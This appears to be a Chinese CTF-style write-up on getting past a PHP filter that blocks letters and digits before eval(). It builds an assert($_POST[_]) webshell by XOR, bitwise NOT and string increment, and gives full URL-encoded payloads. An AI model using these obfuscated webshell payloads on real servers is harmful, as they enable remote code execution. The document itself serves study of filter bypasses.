参考blog:https://www.cnblogs.com/pursue-security/p/15404150.html
首先来看情境

<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
    die("hacker!");
}
@eval($code);
?>

可以看到在上述代码中,可以执行code传入的任意命令,但是限制code中不能包含字母,数字.
有以下方法可以绕过:

异或绕过

异或是对ascii进行位运算,ascii表如下.

就比如我们想要构建a,可以如下

<?php
echo '@'^'!'; //a

那么我们可以据此进行拼接,目标字符串为assert($_POST[_])

a:'%40'^'%21' ; s:'%7B'^'%08' ; s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08'
P:'%0D'^'%5D' ; O:'%0F'^'%40' ; S:'%0E'^'%5D' ; T:'%0B'^'%5F'
拼接起来：
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');  // $_=assert
$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');  // $__=_POST
$___=$$__; //$___=$_POST
$_($___[_]);//assert($_POST[_]);
放到一排就是：
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);

尝试发现能打通,执行的命令通过post表单传递即可

取反

也是一种位运算,更为灵活易于构造

<?php
echo urlencode(~'assert');
echo "\n";
echo urlencode(~'_POST');
//%9E%8C%8C%9A%8D%8B
//%A0%AF%B0%AC%AB

下面是我构建的payload

$_=~(%9E%8C%8C%9A%8D%8B);    //这里利用取反符号把它取回来，$_=assert
$__=~(%A0%AF%B0%AC%AB);      //$__=_POST
$___=$$__;                   //$___=$_POST
$_($___[_]);                 //assert($_POST[_]);
放到一排就是：
$_=~(%9E%8C%8C%9A%8D%8B);$__=~(%A0%AF%B0%AC%AB);$___=$$__;$_($___[_]);

也成功了.

除此以外还有一个利用utf-8进行取反的,payload也打通了,但是没理解原理

%24_%2B%2B%3B%24__%20%3D%20%22%E6%9E%81%22%3B%24___%20%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8C%BA%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E7%9A%AE%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8D%81%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%8B%BA%22%3B%24___%20.%3D%20~(%24__%7B%24_%7D)%3B%24____%20%3D%20'_'%3B%24__%20%3D%20%22%E5%AF%B8%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E5%B0%8F%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E6%AC%A0%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24__%20%3D%20%22%E7%AB%8B%22%3B%24____%20.%3D%20~(%24__%7B%24_%7D)%3B%24_%20%3D%20%24%24____%3B%24___(%24_%5B_%5D)%3B

自增

php在处理字符变量的算数运算的时候并没有延续C的习惯,而是延续了Perl的习惯(坏习惯).

<?php
$a='Z';
echo ++$a; //AA

也就是说,如果我们能够获得A和a的话,就能获得所有的字符串.而在php中,如果数组被强制转换为了字符串,则会变为"Array"

<?php
$a=[1,2,3,4,5];
echo @"$a"; //Array

然后我们就可以利用Array中的A和a去构造出所有的字符

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

构造如上,然后放到一排再去url编码的结果为

%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B

也是成功的.